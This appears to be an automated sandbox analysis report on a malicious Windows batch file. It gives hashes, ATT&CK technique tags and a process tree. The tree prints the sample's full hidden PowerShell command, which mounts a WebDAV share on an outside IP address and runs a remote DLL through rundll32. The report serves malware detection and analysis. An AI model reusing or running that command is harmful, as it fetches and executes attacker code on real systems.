57063066517ad2e9949c3f00b32af43dd829a35e1ca0a3788eb730fdd0184510

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 06:56

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General

Target

993690922881323157.bat
Size

2KB
MD5

8e276390c3c2e9573b8462ab21b1b5e5
SHA1

087dbb451e63a79340b8b41a793ceadc8b689f19
SHA256

57063066517ad2e9949c3f00b32af43dd829a35e1ca0a3788eb730fdd0184510
SHA512

666ee0de5325a4d48fd1546446314b7133230df112a506b7b09b844b7e30a4b135718faf007d05fee8e595bbeecdacdbc0b4dcdfca7cb74a4859788e4b89efda

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2868	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1996	wordpad.exe
1996	wordpad.exe
1996	wordpad.exe
1996	wordpad.exe
1996	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 1996	2132	cmd.exe	31
PID 2132 wrote to memory of 1996	2132	cmd.exe	31
PID 2132 wrote to memory of 1996	2132	cmd.exe	31
PID 2132 wrote to memory of 2868	2132	cmd.exe	32
PID 2132 wrote to memory of 2868	2132	cmd.exe	32
PID 2132 wrote to memory of 2868	2132	cmd.exe	32
PID 2868 wrote to memory of 2604	2868	powershell.exe	34
PID 2868 wrote to memory of 2604	2868	powershell.exe	34
PID 2868 wrote to memory of 2604	2868	powershell.exe	34
PID 2868 wrote to memory of 2652	2868	powershell.exe	35
PID 2868 wrote to memory of 2652	2868	powershell.exe	35
PID 2868 wrote to memory of 2652	2868	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\993690922881323157.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1283.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2604
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1283.dll entry
    3⤵
    PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2868-23-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2868-24-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download